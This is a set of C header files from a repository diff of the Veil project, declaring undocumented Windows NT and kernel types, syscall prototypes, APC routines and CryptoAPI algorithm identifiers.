// Pointer to an Asciiz string
//
typedef _Null_terminated_ CHAR* PSZ;
typedef _Null_terminated_ CONST char* PCSZ;
//
// Counted String
//
typedef USHORT RTL_STRING_LENGTH_TYPE;
typedef struct _STRING {
USHORT Length;
USHORT MaximumLength;
#ifdef MIDL_PASS
[size_is(MaximumLength), length_is(Length)]
#endif // MIDL_PASS
_Field_size_bytes_part_opt_(MaximumLength, Length) PCHAR Buffer;
} STRING;
typedef STRING* PSTRING;
typedef STRING ANSI_STRING;
typedef PSTRING PANSI_STRING;
typedef STRING OEM_STRING;
typedef PSTRING POEM_STRING;
typedef CONST STRING* PCOEM_STRING;
//
// CONSTCounted String
//
typedef struct _CSTRING {
USHORT Length;
USHORT MaximumLength;
CONST char* Buffer;
} CSTRING;
typedef CSTRING* PCSTRING;
#define ANSI_NULL ((CHAR)0) // winnt
typedef STRING CANSI_STRING;
typedef PSTRING PCANSI_STRING;
typedef STRING UTF8_STRING;
typedef PSTRING PUTF8_STRING;
//
// Unicode strings are counted 16-bit character strings. If they are
// NULL terminated, Length does not include trailing NULL.
//
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
#ifdef MIDL_PASS
[size_is(MaximumLength / 2), length_is((Length) / 2)] USHORT* Buffer;
#else // MIDL_PASS
_Field_size_bytes_part_opt_(MaximumLength, Length) PWCH Buffer;
#endif // MIDL_PASS
} UNICODE_STRING;
typedef UNICODE_STRING* PUNICODE_STRING;
typedef const UNICODE_STRING* PCUNICODE_STRING;
#define UNICODE_NULL ((WCHAR)0) // winnt
#if _WIN32_WINNT >= 0x0500
#define DECLARE_CONST_UNICODE_STRING(_var, _string) \
const WCHAR _var ## _buffer[] = _string; \
__pragma(warning(push)) \
__pragma(warning(disable:4221)) __pragma(warning(disable:4204)) \
const UNICODE_STRING _var = { sizeof(_string) - sizeof(WCHAR), sizeof(_string), (PWCH) _var ## _buffer } \
__pragma(warning(pop))
#define DECLARE_GLOBAL_CONST_UNICODE_STRING(_var, _str) \
extern const __declspec(selectany) UNICODE_STRING _var = RTL_CONSTANT_STRING(_str)
#define DECLARE_UNICODE_STRING_SIZE(_var, _size) \
WCHAR _var ## _buffer[_size]; \
__pragma(warning(push)) \
__pragma(warning(disable:4221)) __pragma(warning(disable:4204)) \
UNICODE_STRING _var = { 0, (_size) * sizeof(WCHAR) , _var ## _buffer } \
__pragma(warning(pop))
#endif // _WIN32_WINNT >= 0x0500
//
// Balanced tree node (AVL or RB) structure definition.
//
#pragma warning(push)
#pragma warning(disable:4214)
typedef struct _RTL_BALANCED_NODE {
union {
struct _RTL_BALANCED_NODE* Children[2];
struct {
struct _RTL_BALANCED_NODE* Left;
struct _RTL_BALANCED_NODE* Right;
} DUMMYSTRUCTNAME;
} DUMMYUNIONNAME;
#define RTL_BALANCED_NODE_RESERVED_PARENT_MASK 3
union {
UCHAR Red : 1;
UCHAR Balance : 2;
ULONG_PTR ParentValue;
} DUMMYUNIONNAME2;
} RTL_BALANCED_NODE, * PRTL_BALANCED_NODE;
#pragma warning(pop)
#define RTL_BALANCED_NODE_GET_PARENT_POINTER(Node) \
((PRTL_BALANCED_NODE)((Node)->ParentValue & \
~RTL_BALANCED_NODE_RESERVED_PARENT_MASK))
typedef struct _RTL_RB_TREE
{
PRTL_BALANCED_NODE Root;
PRTL_BALANCED_NODE Min;
} RTL_RB_TREE, * PRTL_RB_TREE;
typedef struct _STRING32 {
USHORT Length;
USHORT MaximumLength;
ULONG Buffer;
} STRING32;
typedef STRING32* PSTRING32;
typedef STRING32 UNICODE_STRING32;
typedef UNICODE_STRING32* PUNICODE_STRING32;
typedef STRING32 ANSI_STRING32;
typedef ANSI_STRING32* PANSI_STRING32;
typedef struct _STRING64 {
USHORT Length;
USHORT MaximumLength;
ULONGLONG Buffer;
} STRING64;
typedef STRING64* PSTRING64;
typedef STRING64 UNICODE_STRING64;
typedef UNICODE_STRING64* PUNICODE_STRING64;
typedef STRING64 ANSI_STRING64;
typedef ANSI_STRING64* PANSI_STRING64;
//
// Object Attributes
//
// Valid values for the Attributes field
#define OBJ_PROTECT_CLOSE 0x00000001L
#define OBJ_INHERIT 0x00000002L
#define OBJ_AUDIT_OBJECT_CLOSE 0x00000004L
#define OBJ_PERMANENT 0x00000010L
#define OBJ_EXCLUSIVE 0x00000020L
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define OBJ_OPENIF 0x00000080L
#define OBJ_OPENLINK 0x00000100L
#define OBJ_KERNEL_HANDLE 0x00000200L
#define OBJ_FORCE_ACCESS_CHECK 0x00000400L
#define OBJ_IGNORE_IMPERSONATED_DEVICEMAP 0x00000800L
#define OBJ_DONT_REPARSE 0x00001000L
#define OBJ_VALID_ATTRIBUTES 0x00001FF2L
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor; // PSECURITY_DESCRIPTOR;
PVOID SecurityQualityOfService; // PSECURITY_QUALITY_OF_SERVICE
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef const OBJECT_ATTRIBUTES* PCOBJECT_ATTRIBUTES;
#define InitializeObjectAttributes(p, n, a, r, s) { \
(p)->Length = sizeof(OBJECT_ATTRIBUTES); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
// RTL_ to avoid collisions in the global namespace.
// I don't believe there are possible/likely constant RootDirectory
// or SecurityDescriptor values other than NULL, so they are hardcoded.
// As well, the string will generally be const, so we cast that away.
#define RTL_CONSTANT_OBJECT_ATTRIBUTES(n, a) \
{ sizeof(OBJECT_ATTRIBUTES), NULL, RTL_CONST_CAST(PUNICODE_STRING)(n), a, NULL, NULL }
// This synonym is more appropriate for initializing what isn't actually const.
#define RTL_INIT_OBJECT_ATTRIBUTES(n, a) RTL_CONSTANT_OBJECT_ATTRIBUTES(n, a)
#define OBJ_NAME_PATH_SEPARATOR ((WCHAR)L'\\')
// Portability
typedef struct _OBJECT_ATTRIBUTES64
{
ULONG Length;
ULONG64 RootDirectory;
ULONG64 ObjectName;
ULONG Attributes;
ULONG64 SecurityDescriptor;
ULONG64 SecurityQualityOfService;
} OBJECT_ATTRIBUTES64, * POBJECT_ATTRIBUTES64;
typedef const OBJECT_ATTRIBUTES64* PCOBJECT_ATTRIBUTES64;
typedef struct _OBJECT_ATTRIBUTES32
{
ULONG Length;
ULONG RootDirectory;
ULONG ObjectName;
ULONG Attributes;
ULONG SecurityDescriptor;
ULONG SecurityQualityOfService;
} OBJECT_ATTRIBUTES32, * POBJECT_ATTRIBUTES32;
typedef const OBJECT_ATTRIBUTES32* PCOBJECT_ATTRIBUTES32;
//
// This works "generically" for Unicode and Ansi/Oem strings.
// Usage:
// const static UNICODE_STRING FooU = RTL_CONSTANT_STRING(L"Foo");
// const static STRING Foo = RTL_CONSTANT_STRING( "Foo");
// instead of the slower:
// UNICODE_STRING FooU;
// STRING Foo;
// RtlInitUnicodeString(&FooU, L"Foo");
// RtlInitString(&Foo , "Foo");
//
// Or:
// const static char szFoo[] = "Foo";
// const static STRING sFoo = RTL_CONSTANT_STRING(szFoo);
//
// This will compile without error or warning in C++. C will get a warning.
//
#ifdef __cplusplus
extern "C++"
{
char _RTL_CONSTANT_STRING_type_check(const char* s);
char _RTL_CONSTANT_STRING_type_check(const WCHAR* s);
// __typeof would be desirable here instead of sizeof.
template <size_t N> class _RTL_CONSTANT_STRING_remove_const_template_class;
template <> class _RTL_CONSTANT_STRING_remove_const_template_class<sizeof(char)> { public: typedef char T; };
template <> class _RTL_CONSTANT_STRING_remove_const_template_class<sizeof(WCHAR)> { public: typedef WCHAR T; };
#define _RTL_CONSTANT_STRING_remove_const_macro(s) \
(const_cast<_RTL_CONSTANT_STRING_remove_const_template_class<sizeof((s)[0])>::T*>(s))
}
#else
char _RTL_CONSTANT_STRING_type_check(const void* s);
#define _RTL_CONSTANT_STRING_remove_const_macro(s) (s)
#endif
#define RTL_CONSTANT_STRING(s) \
{ \
sizeof( s ) - sizeof( (s)[0] ), \
sizeof( s ) / sizeof(_RTL_CONSTANT_STRING_type_check(s)), \
_RTL_CONSTANT_STRING_remove_const_macro(s) \
}
//
// Interrupt Request Level (IRQL)
//
typedef UCHAR KIRQL;
typedef KIRQL* PKIRQL;
//
// Product types
//
typedef enum _NT_PRODUCT_TYPE
{
NtProductWinNt = 1,
NtProductLanManNt,
NtProductServer
} NT_PRODUCT_TYPE, * PNT_PRODUCT_TYPE;
//
// the bit mask, SharedUserData->SuiteMask, is a ULONG
// so there can be a maximum of 32 entries
// in this enum.
//
typedef enum _SUITE_TYPE
{
SmallBusiness,
Enterprise,
BackOffice,
CommunicationServer,
TerminalServer,
SmallBusinessRestricted,
EmbeddedNT,
DataCenter,
SingleUserTS,
Personal,
Blade,
EmbeddedRestricted,
SecurityAppliance,
StorageServer,
ComputeServer,
WHServer,
PhoneNT,
MultiUserTS,
MaxSuiteType
} SUITE_TYPE;
#endif // _NTDEF
#if defined(_KERNEL_MODE) && (WDK_NTDDI_VERSION <= NTDDI_WIN10_19H1)
typedef STRING UTF8_STRING;
typedef PSTRING PUTF8_STRING;
#endif
//
// Critical Section
//
#ifdef _KERNEL_MODE
typedef struct _RTL_CRITICAL_SECTION_DEBUG
{
UINT16 Type;
UINT16 CreatorBackTraceIndex;
struct _RTL_CRITICAL_SECTION* CriticalSection;
LIST_ENTRY ProcessLocksList;
UINT32 EntryCount;
UINT32 ContentionCount;
UINT32 Flags;
UINT16 CreatorBackTraceIndexHigh;
UINT16 SpareWORD;
} RTL_CRITICAL_SECTION_DEBUG, * PRTL_CRITICAL_SECTION_DEBUG, RTL_RESOURCE_DEBUG, * PRTL_RESOURCE_DEBUG;
//
// These flags define the upper byte of the critical section SpinCount field
//
#define RTL_CRITICAL_SECTION_FLAG_NO_DEBUG_INFO 0x01000000
#define RTL_CRITICAL_SECTION_FLAG_DYNAMIC_SPIN 0x02000000
#define RTL_CRITICAL_SECTION_FLAG_STATIC_INIT 0x04000000
#define RTL_CRITICAL_SECTION_FLAG_RESOURCE_TYPE 0x08000000
#define RTL_CRITICAL_SECTION_FLAG_FORCE_DEBUG_INFO 0x10000000
#define RTL_CRITICAL_SECTION_ALL_FLAG_BITS 0xFF000000
#define RTL_CRITICAL_SECTION_FLAG_RESERVED (RTL_CRITICAL_SECTION_ALL_FLAG_BITS & (~(RTL_CRITICAL_SECTION_FLAG_NO_DEBUG_INFO | RTL_CRITICAL_SECTION_FLAG_DYNAMIC_SPIN | RTL_CRITICAL_SECTION_FLAG_STATIC_INIT | RTL_CRITICAL_SECTION_FLAG_RESOURCE_TYPE | RTL_CRITICAL_SECTION_FLAG_FORCE_DEBUG_INFO)))
//
// These flags define possible values stored in the Flags field of a critsec debuginfo.
//
#define RTL_CRITICAL_SECTION_DEBUG_FLAG_STATIC_INIT 0x00000001
#pragma pack(push, 8)
typedef struct _RTL_CRITICAL_SECTION
{
PRTL_CRITICAL_SECTION_DEBUG DebugInfo;
//
// The following three fields control entering and exiting the critical
// section for the resource
//
LONG LockCount;
LONG RecursionCount;
HANDLE OwningThread; // from the thread's ClientId->UniqueThread
HANDLE LockSemaphore;
ULONG_PTR SpinCount; // force size on 64-bit systems when packed
} RTL_CRITICAL_SECTION, * PRTL_CRITICAL_SECTION;
#pragma pack(pop)
typedef struct _RTL_SRWLOCK
{
PVOID Ptr;
} RTL_SRWLOCK, * PRTL_SRWLOCK;
#define RTL_SRWLOCK_INIT {0}
typedef struct _RTL_CONDITION_VARIABLE
{
PVOID Ptr;
} RTL_CONDITION_VARIABLE, * PRTL_CONDITION_VARIABLE;
#define RTL_CONDITION_VARIABLE_INIT {0}
#define RTL_CONDITION_VARIABLE_LOCKMODE_SHARED 0x1
#endif // _KERNEL_MODE
//
// Specific
//
#ifndef _KERNEL_MODE
typedef struct _CLIENT_ID
{
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;
#include <pshpack4.h>
typedef struct _KSYSTEM_TIME
{
ULONG LowPart;
LONG High1Time;
LONG High2Time;
} KSYSTEM_TIME, * PKSYSTEM_TIME;
#include <poppack.h>
#endif // _KERNEL_MODE
#ifndef _FILETIME_
#define _FILETIME_
typedef struct _FILETIME {
UINT32 dwLowDateTime;
UINT32 dwHighDateTime;
} FILETIME, * PFILETIME, * LPFILETIME;
#endif
//
// This isn't in NT, but it's useful.
//
typedef struct _CLIENT_ID32
{
ULONG UniqueProcess;
ULONG UniqueThread;
} CLIENT_ID32, * PCLIENT_ID32;
typedef struct _CLIENT_ID64
{
ULONGLONG UniqueProcess;
ULONGLONG UniqueThread;
} CLIENT_ID64, * PCLIENT_ID64;
typedef struct DECLSPEC_ALIGN(MEMORY_ALLOCATION_ALIGNMENT) _QUAD_PTR
{
ULONG_PTR DoNotUseThisField1;
ULONG_PTR DoNotUseThisField2;
} QUAD_PTR, * PQUAD_PTR;
typedef struct _LARGE_INTEGER_128
{
LONGLONG QuadPart[2];
} LARGE_INTEGER_128, * PLARGE_INTEGER_128;
VEIL_END()
#if _MSC_VER >= 1200
#pragma warning(pop)
#endif

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,360 @@
/*
* PROJECT: Veil
* FILE: Veil.h
* PURPOSE: Definition for the Windows Internal API from ntdll.dll,
* samlib.dll and winsta.dll
*
* LICENSE: Relicensed under The MIT License from The CC BY 4.0 License
*
* DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com)
*/
/*
* PROJECT: Mouri's Internal NT API Collections (MINT)
* FILE: MINT.h
* PURPOSE: Definition for the Windows Internal API from ntdll.dll,
* samlib.dll and winsta.dll
*
* LICENSE: Relicensed under The MIT License from The CC BY 4.0 License
*
* DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com)
*/
/*
* This file is part of the Process Hacker project - https://processhacker.sf.io/
*
* You can redistribute this file and/or modify it under the terms of the
* Attribution 4.0 International (CC BY 4.0) license.
*
* You must give appropriate credit, provide a link to the license, and
* indicate if changes were made. You may do so in any reasonable manner, but
* not in any way that suggests the licensor endorses you or your use.
*/
#pragma once
// Warnings which disabled for compiling
#if _MSC_VER >= 1200
#pragma warning(push)
// nonstandard extension used : nameless struct/union
#pragma warning(disable:4201)
// 'struct_name' : structure was padded due to __declspec(align())
#pragma warning(disable:4324)
// 'enumeration': a forward declaration of an unscoped enumeration must have an
// underlying type (int assumed)
#pragma warning(disable:4471)
#endif
VEIL_BEGIN()
#ifndef _KERNEL_MODE
#define LOW_PRIORITY 0 // Lowest thread priority level
#define LOW_REALTIME_PRIORITY 16 // Lowest realtime priority level
#define HIGH_PRIORITY 31 // Highest thread priority level
#define MAXIMUM_PRIORITY 32 // Number of thread priority levels
#endif // !_KERNEL_MODE
// private
typedef enum _KTHREAD_STATE
{
Initialized,
Ready,
Running,
Standby,
Terminated,
Waiting,
Transition,
DeferredReady,
GateWaitObsolete,
WaitingForProcessInSwap,
MaximumThreadState
} KTHREAD_STATE, * PKTHREAD_STATE;
// private
typedef enum _KHETERO_CPU_POLICY
{
KHeteroCpuPolicyAll,
KHeteroCpuPolicyLarge,
KHeteroCpuPolicyLargeOrIdle,
KHeteroCpuPolicySmall,
KHeteroCpuPolicySmallOrIdle,
KHeteroCpuPolicyDynamic,
KHeteroCpuPolicyStaticMax,
KHeteroCpuPolicyBiasedSmall,
KHeteroCpuPolicyBiasedLarge,
KHeteroCpuPolicyDefault,
KHeteroCpuPolicyMax
} KHETERO_CPU_POLICY, * PKHETERO_CPU_POLICY;
#ifndef _KERNEL_MODE
//
// Wait reasons
//
typedef enum _KWAIT_REASON
{
Executive,
FreePage,
PageIn,
PoolAllocation,
DelayExecution,
Suspended,
UserRequest,
WrExecutive,
WrFreePage,
WrPageIn,
WrPoolAllocation,
WrDelayExecution,
WrSuspended,
WrUserRequest,
WrEventPair,
WrQueue,
WrLpcReceive,
WrLpcReply,
WrVirtualMemory,
WrPageOut,
WrRendezvous,
WrKeyedEvent,
WrTerminated,
WrProcessInSwap,
WrCpuRateControl,
WrCalloutStack,
WrKernel,
WrResource,
WrPushLock,
WrMutex,
WrQuantumEnd,
WrDispatchInt,
WrPreempted,
WrYieldExecution,
WrFastMutex,
WrGuardedMutex,
WrRundown,
WrAlertByThreadId,
WrDeferredPreempt,
WrPhysicalFault,
WrIoRing,
WrMdlCache,
MaximumWaitReason
} KWAIT_REASON, * PKWAIT_REASON;
//
// Profile source types
//
typedef enum _KPROFILE_SOURCE
{
ProfileTime,
ProfileAlignmentFixup,
ProfileTotalIssues,
ProfilePipelineDry,
ProfileLoadInstructions,
ProfilePipelineFrozen,
ProfileBranchInstructions,
ProfileTotalNonissues,
ProfileDcacheMisses,
ProfileIcacheMisses,
ProfileCacheMisses,
ProfileBranchMispredictions,
ProfileStoreInstructions,
ProfileFpInstructions,
ProfileIntegerInstructions,
Profile2Issue,
Profile3Issue,
Profile4Issue,
ProfileSpecialInstructions,
ProfileTotalCycles,
ProfileIcacheIssues,
ProfileDcacheAccesses,
ProfileMemoryBarrierCycles,
ProfileLoadLinkedIssues,
ProfileMaximum
} KPROFILE_SOURCE;
#endif // !_KERNEL_MODE
__kernel_entry NTSYSCALLAPI
NTSTATUS
NTAPI
NtCallbackReturn(
_In_reads_bytes_opt_(OutputLength) PVOID OutputBuffer,
_In_ ULONG OutputLength,
_In_ NTSTATUS Status
);
_IRQL_requires_max_(PASSIVE_LEVEL)
NTSYSAPI
NTSTATUS
NTAPI
ZwCallbackReturn(
_In_reads_bytes_opt_(OutputLength) PVOID OutputBuffer,
_In_ ULONG OutputLength,
_In_ NTSTATUS Status
);
#if (NTDDI_VERSION >= NTDDI_VISTA)
__kernel_entry NTSYSCALLAPI
VOID
NTAPI
NtFlushProcessWriteBuffers(
VOID
);
_IRQL_requires_max_(PASSIVE_LEVEL)
NTSYSAPI
VOID
NTAPI
ZwFlushProcessWriteBuffers(
VOID
);
#endif
__kernel_entry NTSYSCALLAPI
NTSTATUS
NTAPI
NtYieldExecution(
VOID
);
_IRQL_requires_max_(PASSIVE_LEVEL)
NTSYSAPI
NTSTATUS
NTAPI
ZwYieldExecution(
VOID
);
//
// Only Kernel
//
#ifdef _KERNEL_MODE
_IRQL_requires_max_(PASSIVE_LEVEL)
NTSYSAPI
BOOLEAN
NTAPI
KeAddSystemServiceTable(
_In_ PULONG_PTR Base,
_In_opt_ PULONG Count,
_In_ ULONG Limit,
_In_ PUCHAR Number,
_In_ ULONG Index
);
// Thread
typedef enum _KAPC_ENVIRONMENT
{
OriginalApcEnvironment,
AttachedApcEnvironment,
CurrentApcEnvironment,
InsertApcEnvironment
} KAPC_ENVIRONMENT;
typedef
VOID
(*PKNORMAL_ROUTINE) (
IN PVOID NormalContext,
IN PVOID SystemArgument1,
IN PVOID SystemArgument2
);
typedef
VOID
(*PKKERNEL_ROUTINE) (
IN struct _KAPC* Apc,
IN OUT PKNORMAL_ROUTINE* NormalRoutine,
IN OUT PVOID* NormalContext,
IN OUT PVOID* SystemArgument1,
IN OUT PVOID* SystemArgument2
);
typedef
VOID
(*PKRUNDOWN_ROUTINE) (
IN struct _KAPC* Apc
);
typedef
BOOLEAN
(*PKSYNCHRONIZE_ROUTINE) (
IN PVOID SynchronizeContext
);
typedef
BOOLEAN
(*PKTRANSFER_ROUTINE) (
VOID
);
NTSYSAPI
VOID
NTAPI
KeInitializeApc(
_Out_ PRKAPC aApc,
_In_ PRKTHREAD aThread,
_In_ KAPC_ENVIRONMENT aEnvironment,
_In_ PKKERNEL_ROUTINE aKernelRoutine,
_In_opt_ PKRUNDOWN_ROUTINE aRundownRoutine,
_In_opt_ PKNORMAL_ROUTINE aNormalRoutine,
_In_opt_ KPROCESSOR_MODE aProcessorMode,
_In_opt_ PVOID aNormalContext
);
NTSYSAPI
BOOLEAN
NTAPI
KeInsertQueueApc(
_Inout_ PRKAPC aApc,
_In_opt_ PVOID aSystemArgument1,
_In_opt_ PVOID aSystemArgument2,
_In_ KPRIORITY aIncrement
);
NTSYSAPI
BOOLEAN
NTAPI
KeRemoveQueueApc(
_In_ PKAPC Apc
);
NTSYSAPI
BOOLEAN
NTAPI
KeTestAlertThread(
_In_ KPROCESSOR_MODE AlertMode
);
// Processor
NTSYSAPI
VOID
NTAPI
KeGenericCallDpc(
_In_ PKDEFERRED_ROUTINE Routine,
_In_ PVOID Context
);
NTSYSAPI
VOID
NTAPI
KeSignalCallDpcDone(
_In_ PVOID SystemArgument1
);
NTSYSAPI
LOGICAL
NTAPI
KeSignalCallDpcSynchronize(
_In_ PVOID SystemArgument2
);
#endif // _KERNEL_MODE
VEIL_END()
#if _MSC_VER >= 1200
#pragma warning(pop)
#endif

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,568 @@
/*
* PROJECT: Veil
* FILE: Veil.h
* PURPOSE: Definition for the Windows Internal API from ntdll.dll,
* samlib.dll and winsta.dll
*
* LICENSE: Relicensed under The MIT License from The CC BY 4.0 License
*
* DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com)
*/
/*
* PROJECT: https://github.com/Ido-Moshe-Github/CiDllDemo
* FILE: ci.h
* PURPOSE: Definition for the ci.dll API and Struct.
*
* LICENSE: Relicensed under The MIT License from The CC BY 4.0 License
*
* DEVELOPER: [Ido Moshe, Liron Zuarets]
*
*/
#pragma once
// Warnings which disabled for compiling
#if _MSC_VER >= 1200
#pragma warning(push)
// nonstandard extension used : nameless struct/union
#pragma warning(disable:4201)
// 'struct_name' : structure was padded due to __declspec(align())
#pragma warning(disable:4324)
// 'enumeration': a forward declaration of an unscoped enumeration must have an
// underlying type (int assumed)
#pragma warning(disable:4471)
#endif
VEIL_BEGIN()
#ifdef _KERNEL_MODE
#ifndef _MINCRYPT_LIB
#define MINCRYPTAPI __declspec(dllimport)
#else
#define MINCRYPTAPI
#endif
//
// Algorithm IDs and Flags
//
// ALG_ID crackers
#define GET_ALG_CLASS(x) (x & (7 << 13))
#define GET_ALG_TYPE(x) (x & (15 << 9))
#define GET_ALG_SID(x) (x & (511))
// Algorithm classes
// certenrolld_begin -- ALG_CLASS_*
#define ALG_CLASS_ANY (0)
#define ALG_CLASS_SIGNATURE (1 << 13)
#define ALG_CLASS_MSG_ENCRYPT (2 << 13)
#define ALG_CLASS_DATA_ENCRYPT (3 << 13)
#define ALG_CLASS_HASH (4 << 13)
#define ALG_CLASS_KEY_EXCHANGE (5 << 13)
#define ALG_CLASS_ALL (7 << 13)
// certenrolld_end
// Algorithm types
#define ALG_TYPE_ANY (0)
#define ALG_TYPE_DSS (1 << 9)
#define ALG_TYPE_RSA (2 << 9)
#define ALG_TYPE_BLOCK (3 << 9)
#define ALG_TYPE_STREAM (4 << 9)
#define ALG_TYPE_DH (5 << 9)
#define ALG_TYPE_SECURECHANNEL (6 << 9)
#if (NTDDI_VERSION >= NTDDI_VISTA)
#define ALG_TYPE_ECDH (7 << 9)
#endif //(NTDDI_VERSION >= NTDDI_VISTA)
#if (NTDDI_VERSION >= NTDDI_WIN10_RS1)
#define ALG_TYPE_THIRDPARTY (8 << 9)
#endif //(NTDDI_VERSION >= NTDDI_WIN10_RS1)
// Generic sub-ids
#define ALG_SID_ANY (0)
// Generic ThirdParty sub-ids
#if (NTDDI_VERSION >= NTDDI_WIN10_RS1)
#define ALG_SID_THIRDPARTY_ANY (0)
#endif //(NTDDI_VERSION >= NTDDI_WIN10_RS1)
// Some RSA sub-ids
#define ALG_SID_RSA_ANY 0
#define ALG_SID_RSA_PKCS 1
#define ALG_SID_RSA_MSATWORK 2
#define ALG_SID_RSA_ENTRUST 3
#define ALG_SID_RSA_PGP 4
// Some DSS sub-ids
//
#define ALG_SID_DSS_ANY 0
#define ALG_SID_DSS_PKCS 1
#define ALG_SID_DSS_DMS 2
#if (NTDDI_VERSION >= NTDDI_VISTA)
#define ALG_SID_ECDSA 3
#endif //(NTDDI_VERSION >= NTDDI_VISTA)
// Block cipher sub ids
// DES sub_ids
#define ALG_SID_DES 1
#define ALG_SID_3DES 3
#define ALG_SID_DESX 4
#define ALG_SID_IDEA 5
#define ALG_SID_CAST 6
#define ALG_SID_SAFERSK64 7
#define ALG_SID_SAFERSK128 8
#define ALG_SID_3DES_112 9
#define ALG_SID_CYLINK_MEK 12
#define ALG_SID_RC5 13
#if (NTDDI_VERSION >= NTDDI_WINXP)
#define ALG_SID_AES_128 14
#define ALG_SID_AES_192 15
#define ALG_SID_AES_256 16
#define ALG_SID_AES 17
#endif //(NTDDI_VERSION >= NTDDI_WINXP)
// Fortezza sub-ids
#define ALG_SID_SKIPJACK 10
#define ALG_SID_TEK 11
// KP_MODE
#define CRYPT_MODE_CBCI 6 // ANSI CBC Interleaved
#define CRYPT_MODE_CFBP 7 // ANSI CFB Pipelined
#define CRYPT_MODE_OFBP 8 // ANSI OFB Pipelined
#define CRYPT_MODE_CBCOFM 9 // ANSI CBC + OF Masking
#define CRYPT_MODE_CBCOFMI 10 // ANSI CBC + OFM Interleaved
// RC2 sub-ids
#define ALG_SID_RC2 2
// Stream cipher sub-ids
#define ALG_SID_RC4 1
#define ALG_SID_SEAL 2
// Diffie-Hellman sub-ids
#define ALG_SID_DH_SANDF 1
#define ALG_SID_DH_EPHEM 2
#define ALG_SID_AGREED_KEY_ANY 3
#define ALG_SID_KEA 4
#if (NTDDI_VERSION >= NTDDI_VISTA)
#define ALG_SID_ECDH 5
#define ALG_SID_ECDH_EPHEM 6
#endif //(NTDDI_VERSION >= NTDDI_VISTA)
// Hash sub ids
#define ALG_SID_MD2 1
#define ALG_SID_MD4 2
#define ALG_SID_MD5 3
#define ALG_SID_SHA 4
#define ALG_SID_SHA1 4
#define ALG_SID_MAC 5
#define ALG_SID_RIPEMD 6
#define ALG_SID_RIPEMD160 7
#define ALG_SID_SSL3SHAMD5 8
#define ALG_SID_HMAC 9
#define ALG_SID_TLS1PRF 10
#if (NTDDI_VERSION >= NTDDI_WINXP)
#define ALG_SID_HASH_REPLACE_OWF 11
#endif //(NTDDI_VERSION >= NTDDI_WINXP)
#if (NTDDI_VERSION > NTDDI_WINXPSP2)
#define ALG_SID_SHA_256 12
#define ALG_SID_SHA_384 13
#define ALG_SID_SHA_512 14
#endif //(NTDDI_VERSION > NTDDI_WINXPSP2)
// secure channel sub ids
#define ALG_SID_SSL3_MASTER 1
#define ALG_SID_SCHANNEL_MASTER_HASH 2
#define ALG_SID_SCHANNEL_MAC_KEY 3
#define ALG_SID_PCT1_MASTER 4
#define ALG_SID_SSL2_MASTER 5
#define ALG_SID_TLS1_MASTER 6
#define ALG_SID_SCHANNEL_ENC_KEY 7
#if (NTDDI_VERSION >= NTDDI_VISTA)
// misc ECC sub ids
#define ALG_SID_ECMQV 1
#endif //(NTDDI_VERSION >= NTDDI_VISTA)
// Our silly example sub-id
#define ALG_SID_EXAMPLE 80
// certenrolls_begin -- PROV_ENUMALGS_EX
#ifndef ALGIDDEF
#define ALGIDDEF
typedef unsigned int ALG_ID;
#endif
// certenrolls_end
// algorithm identifier definitions
#define CALG_MD2 (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_MD2)
#define CALG_MD4 (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_MD4)
#define CALG_MD5 (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_MD5)
#define CALG_SHA (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA)
#define CALG_SHA1 (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA1)
#define CALG_MAC (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_MAC) // Deprecated. Don't use.
#define CALG_RSA_SIGN (ALG_CLASS_SIGNATURE | ALG_TYPE_RSA | ALG_SID_RSA_ANY)
#define CALG_DSS_SIGN (ALG_CLASS_SIGNATURE | ALG_TYPE_DSS | ALG_SID_DSS_ANY)
#if (NTDDI_VERSION >= NTDDI_WINXP)
#define CALG_NO_SIGN (ALG_CLASS_SIGNATURE | ALG_TYPE_ANY | ALG_SID_ANY)
#endif //(NTDDI_VERSION >= NTDDI_WINXP)
#define CALG_RSA_KEYX (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_RSA|ALG_SID_RSA_ANY)
#define CALG_DES (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_DES)
#define CALG_3DES_112 (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_3DES_112)
#define CALG_3DES (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_3DES)
#define CALG_DESX (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_DESX)
#define CALG_RC2 (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_RC2)
#define CALG_RC4 (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_STREAM|ALG_SID_RC4)
#define CALG_SEAL (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_STREAM|ALG_SID_SEAL)
#define CALG_DH_SF (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_DH|ALG_SID_DH_SANDF)
#define CALG_DH_EPHEM (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_DH|ALG_SID_DH_EPHEM)
#define CALG_AGREEDKEY_ANY (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_DH|ALG_SID_AGREED_KEY_ANY)
